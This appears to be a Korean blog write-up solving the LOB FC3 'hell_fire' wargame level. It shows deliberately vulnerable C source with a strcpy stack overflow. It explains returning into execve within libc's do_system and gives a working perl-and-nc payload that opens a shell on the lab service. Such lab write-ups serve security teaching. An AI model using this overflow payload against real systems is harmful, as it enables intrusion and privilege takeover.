본문 바로가기

wargame/LOB FC

LOB FC3 [dark_eyes -> hell_fire]

[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - hell_fire

        - Remote BOF on Fedora Core 3

        - hint : another fake ebp or got overwriting

        - port : TCP 7777

*/

 

#include <stdio.h>

 

int main()

{

        char buffer[256];

        char saved_sfp[4];

        char temp[1024];

 

        printf("hell_fire : What's this smell?\n");

        printf("you : ");

        fflush(stdout);

 

        // give me a food

        fgets(temp, 1024, stdin);

 

        // save sfp

        memcpy(saved_sfp, buffer+264, 4);

 

        // overflow!!

        strcpy(buffer, temp);

 

        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);

 

        printf("%s\n", buffer);

}

 

해당 홈폴더에 있는 문제는 setuid 걸려있지 않고, 슈퍼데몬인 xinetd,d hell_fire권한으로 문제를 실행하고 있다.

xinetd.d 바이너리를 서비스하면, 자동으로 입출력을 연결시켜주며, 리모트 쉘코드를 사용할 필요 없이 단순히

/bin/sh해주는 만으로도 쉘을 따올수 있다.

 

그래서 system함수 안에 do_system에서 execve 호출하는 부분을 ret으로 주면 쉘이 따와진다.

 

do_system안에 0x00750784부분은

char *argv[] ={"/home/dark_eyes/hell_fire",null}

execve("/bin/sh",argv,envp)

형성하는 부분이다.

 

[dark_eyes@Fedora_1stFloor ~]$ (perl -e 'print "a"x268,"\x84\x07\x75\x00"';cat)|nc localhost 7777

hell_fire : What's this smell?

you :

id

uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t

my-pass

euid = 503

sign me up